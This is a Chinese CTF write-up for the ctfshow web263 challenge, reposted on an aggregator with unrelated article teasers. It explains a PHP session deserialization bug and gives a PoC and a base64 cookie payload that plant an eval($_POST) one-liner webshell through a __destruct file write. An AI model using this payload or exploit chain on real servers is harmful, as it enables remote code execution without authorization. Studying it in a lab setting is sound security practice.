session反序列化漏洞2——ctfshow web263

news/2024/7/26 11:30:33/文章来源:https://blog.csdn.net/m0_73756016/article/details/137201389

题目链接

https://ctf.show/challenges#web263-723

解题思路

进去先是一个登录框

目录扫描一下发现存在源码泄露

查看源码

index.php

error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?>

这里的$_SESSION['limit']是可控变量

并且

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

这里的limit拼写错误

只会执行后面的语句

并且后面这里会跳转到check.php

check.php头部这里包含了inc.php

inc.php这里声明了读取session的处理器为‘php’

看别人的wp分析 猜测这里phpini的默认处理器应该不为php 才在这里声明的

这个猜测非常有道理

(要是不是的话,这题就没有session反序列化漏洞了)

继续往下看

class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}

这里定义了User类

可以通过file_put_contents()这个函数写入一句话木马

inc.php里面没有反序列的代码

但是当session_start()被执行时

会解析session文件里面的内容(用php处理器)(把它反序列化)然后这里就会触发_destruct()析构函数

到这里这题思路就比较清楚

通过可控变量$_SESSION['limit']构造shell

通过inc.php反序列化触发析构函数 用file_put_contents()写入一句话木马getshell

wp

构造poc

<?php
class User
{public $username;public $password;public $status;// 构造函数,用于初始化对象的属性function __construct($username, $password){$this->username = $username;$this->password = $password;}
}$a = new User('1.php', '<?php @eval($_POST["lcycb"]);?>');
echo '|'.serialize($a);echo base64_encode('|'.serialize($a)); // 序列化并对结果进行 Base64 编码

payload:

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgQGV2YWwoJF9QT1NUWyJsY3ljYiJdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

抓包修改limit的值

注意这里要发两次

第一次生成sessionid创建会话

访问check.php触发析构函数 使文件写入

然后访问我们传上去的木马

注意路径

这里直接传在跟目录下的

还有文件名字

前面要加“log-”

访问一下 发现传入成功

即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1035228.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 学习第五弹——语句

一、if语句 —简单if语句 —if else 语句 —if else if else 语句 1、简单if语句 if&#xff08;表达式&#xff09;{语句} &#xff08;1&#xff09;表达式必须使用圆括号括起来&#xff1b; &#xff08;2&#xff09;表达式&#xff1a;关系表达式或逻辑表达…

赢了利润失了口碑,众安在线如何打通互联网保险“最后一公里”?

互联网保险自诞生以来&#xff0c;有力弥补了传统保险销售渠道在触达能力、客群转化等方面的不足&#xff0c;经历了以渠道创新为主的1.0阶段和以产品创新为主的2.0阶段后&#xff0c;开始迈入3.0阶段&#xff0c;效率成为行业新基调。 如何提升效率&#xff1f;数字化转型大趋…

day10 java封装性

封装性 为什么有封装性&#xff1f; 为了保护数据不被随意修改&#xff0c;隐藏类的实现细节。增强了代码的安全性和可维护性。 该隐藏隐藏 该暴露暴露 封装性的实现&#xff1f; 让调用者只能通过方法操作属性。可以在方法中加入一些限制条件或数据检查的操作。 封装性的直…

基于boost准标准库的搜索引擎项目

零 项目背景/原理/技术栈 1.介绍boost准标准库 2.项目实现效果 3.搜索引擎宏观架构图 这是一个基于Web的搜索服务架构 客户端-服务器模型&#xff1a;采用了经典的客户端-服务器模型&#xff0c;用户通过客户端与服务器交互&#xff0c;有助于集中管理和分散计算。简单的用户…

用html实现一个手风琴相册设计

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>手风琴相册设计</title><link rel"stylesheet" href"./style.css"> </head> <body> <h1>Accordio…

SQLite中的隔离(八)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLite版本3中的文件锁定和并发(七&#xff09; 下一篇&#xff1a;SQLite 查询优化器概述&#xff08;九&#xff09; 数据库的“isolation”属性确定何时对 一个操作的数据库对其他并发操作可见。 数据库连接之…

conda配置完整的pytorch虚拟环境

新建环境 conda create -n py38 python3.8虚拟环境中安装CUDA&#xff0c;conda安装的cudatoolkit和NVIDIA提供的CUDA Toolkit不一样&#xff0c;前者是系统CUDA的子集。在虚拟环境中安装了cudatoolkit&#xff0c;则pytorch就会用虚拟环境中的cudatoolkit进行编译。注意cudato…

java数组与集合框架(二)-- 集合框架,Iterator迭代器,list

集合框架&#xff1a; 用于存储数据的容器。 Java 集合框架概述 一方面&#xff0c;面向对象语言对事物的体现都是以对象的形式&#xff0c;为了方便对多个对象的操作&#xff0c;就要对对象进行存储。另一方面&#xff0c;使用Array存储对象方面具有一些弊端&#xff0c;而…

Web3 游戏周报(3.24-3.30)

【3.24-3.30】Web3 游戏行业动态&#xff1a; Web3 开发平台 Mirror World 在 Solana 上推出首个游戏 rollup 链 NFT 卡牌游戏 Parallel 完成 3,500 万美元融资&#xff0c;Solana Ventures 等参投 加密游戏开发公司 Gunzilla Games 完成 3,000 万美元融资 Telegram 游戏 No…

XUbuntu22.04之激活Linux最新Typora版本(二百二十五)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

Redis高可用与持久化

目录 一、Redis高可用 二、Redis持久化 1、持久化的功能&#xff1a; 2、Redis 提供两种方式进行持久化&#xff1a; 三、RDB持久化 1、触发条件 1.手动触发 2.自动触发 3.其他自动触发机制 2、执行流程 3、启动时加载 四、AOF持久化 1、开启AOF 2、执行流程 1.…

深度学习入门简单实现一个神经网络

实现一个三层神经网络 引言测试数据 代码 引言 今天我们实现一个简单的神经网络 俩个输入神经元 隐藏层两个神经元 一个输出神经元 激活函数我们使用sigmoid 优化方法使用梯度下降 我们前期准备是需要把这些神经元的关系理清楚 x1&#xff1a;第一个输入 x2&#xff1a;第二个…

docker logs 查找日志常用命令

docker logs 是什么 docker logs 是 Docker 命令行工具提供的一个命令&#xff0c;用于查看容器的日志输出。它可以显示容器在运行过程中生成的标准输出&#xff08;stdout&#xff09;和标准错误输出&#xff08;stderr&#xff09;&#xff0c;帮助用户诊断容器的行为和排查…

Netty对Channel事件的处理以及空轮询Bug的解决

继续上一篇Netty文章&#xff0c;这篇文章主要分析Netty对Channel事件的处理以及空轮询Bug的解决 当Netty中采用循环处理事件和提交的任务时 由于此时我在客户端建立连接&#xff0c;此时服务端没有提交任何任务 此时select方法让Selector进入无休止的阻塞等待 此时selectCnt进…

了解与生成火焰图

目录 一、如何看懂火焰图 1、基本特征 2、基本分类 二、如何生成火焰图 1、捕获调用栈 2、折叠栈 3、转换为 svg 格式 4、展示 svg 一、如何看懂火焰图 1、基本特征 &#xff08;1&#xff09;纵轴&#xff1a;即每一列代表一个调用栈&#xff0c;每一个格子代表一个函…

聊聊CSS

css 的介绍 学习目标 能够知道css的作用 1. css 的定义 css(Cascading Style Sheet)层叠样式表&#xff0c;它是用来美化页面的一种语言。 没有使用css的效果图 使用css的效果图 2. css 的作用 美化界面, 比如: 设置标签文字大小、颜色、字体加粗等样式。 控制页面布局, 比如…

泰迪智能科技携手韶关学院共建实训基地

3月28日&#xff0c;韶关学院数学与统计学院院长宋杰、数学与统计学院副院长李少勇、数学与统计学院骨干教师邓四清、邝神芬、付林林莅临广东泰迪智能科技股份有限公司产教融合实训基地开展“韶关学院实习基地”揭牌仪式。泰迪智能科技高校事业部负责人施兴、培训业务部孙学镂、…

FastAPI Web框架教程 第3章 请求头和请求体

3.1 使用Header接收请求头参数 需求场景 假设现在我们有个图书网站&#xff0c;需要客户端在请求头上携带有效的token&#xff0c;才可以获取图书数据&#xff0c;那FastAPI该如何获取客户端传过来的请求头参数呢&#xff1f; FastAPI的解决方式 示例1&#xff1a;FastAPI获…

大话设计模式之观察者模式

观察者模式&#xff08;Observer Pattern&#xff09;是一种行为设计模式&#xff0c;用于定义对象之间的一对多依赖关系&#xff0c;当一个对象的状态发生变化时&#xff0c;其所有依赖者&#xff08;观察者&#xff09;都会收到通知并自动更新。 在观察者模式中&#xff0c;…

Spark-Scala语言实战(8)

在之前的文章中&#xff0c;我们学习了如何在spark中使用RDD方法的map,sortby,collect。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢谢。 Spark-Scala语言实战&…